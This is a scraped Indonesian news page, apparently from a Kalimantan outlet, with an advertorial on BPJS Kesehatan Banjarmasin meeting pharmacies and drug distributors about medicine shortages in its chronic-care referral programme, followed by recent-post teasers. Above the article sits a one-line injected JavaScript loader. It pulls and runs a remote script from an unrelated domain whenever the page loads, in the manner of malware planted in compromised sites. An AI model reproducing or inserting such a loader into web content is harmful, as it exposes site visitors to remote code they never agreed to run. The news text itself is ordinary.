(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Ketersediaan Obat di Faskes Jadi Perhatian BPJS Kesehatan Banjarmasin


BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Cabang Banjarmasin terus berupaya dalam menjaga dan meningkatkan kualitas pelayanan yang diberikan kepada peserta Jaminan Kesehatan Nasional Kartu Indonesia Sehat (JKN-KIS) di Banua.

Bekerjasama dengan Dinas Kesehatan (Dinkes) Provinsi Kalsel mengadakan pertemuan membahas penyediaan obat Program Rujuk Balik bagi peserta JKN-KIS yang ada di Apotek, dengan mengundang pimpinan Apotek dan Pedagang Besar Farmasi se-Provinsi Kalsel, Jumat (1/9) lalu.

“BPJS Kesehatan diberi amanat melalui Peraturan Menteri Kesehatan Nomor 71 Tahun 2013 untuk menjamin kebutuhan obat para peserta JKN-KIS. Mengingat masih seringnya dijumpai permasalahan kekosongan obat dilapangan, maka kami merasa perlu melakukan pertemuan untuk membahas permasalahan hingga mencari solusi atas permasalahan tersebut melalui forum ini,” jelas Kepala BPJS Kesehatan Cabang Banjarmasin Nyoman Wiwiek Yulia Dewi.

Program Rujuk Balik ini merupakan salah satu bentuk pelayanan yang diberikan BPJS Kesehatan kepada peserta JKN-KIS yang menderita penyakit kronis dengan kondisi stabil dan masih memerlukan pengobatan atau asuhan keperawatan jangka panjang. Adapun program ini dilaksanakan di Faskes (Fasilitas Kesehatan) tingkat pertama atas rekomendasi balik dari dokter spesialis atau sub spesialis yang merawat.

“Karena merupakan salah satu program yang banyak dipakai oleh peserta JKN-KIS maka tentunya pelayananya perlu senantiasa dibenahi agar lebih baik dan propesional lagi kedepannya,” tambahnya.

Selain membahas penyediaan obat Program Rujuk Balik bagi peserta JKN-KIS yang ada di Apotek, pada kegiatan tersebut juga dibahas penyusunan Rencana Kebutuhan Obat (RKO) sebagai antisipasi menghadapi permasalah kekosongan obat agar tidak terjadi kembali sama seperti tahun sebelumnya.

“Dengan dibahas bersama dalam forum ini maka kita bisa bersama-sama merancang dan menentukan ketersediaan obat di fasilitas kesehatan yang bekerjasama dengan BPJS Kesehatan. Apabila nantinya masih ditemukan kasus kekosongan obat, diharapkan fasilitas kesehatan maupun apotek dapat saling bersinergi menutupi kekosongan obat yang terjadi,” tutupnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.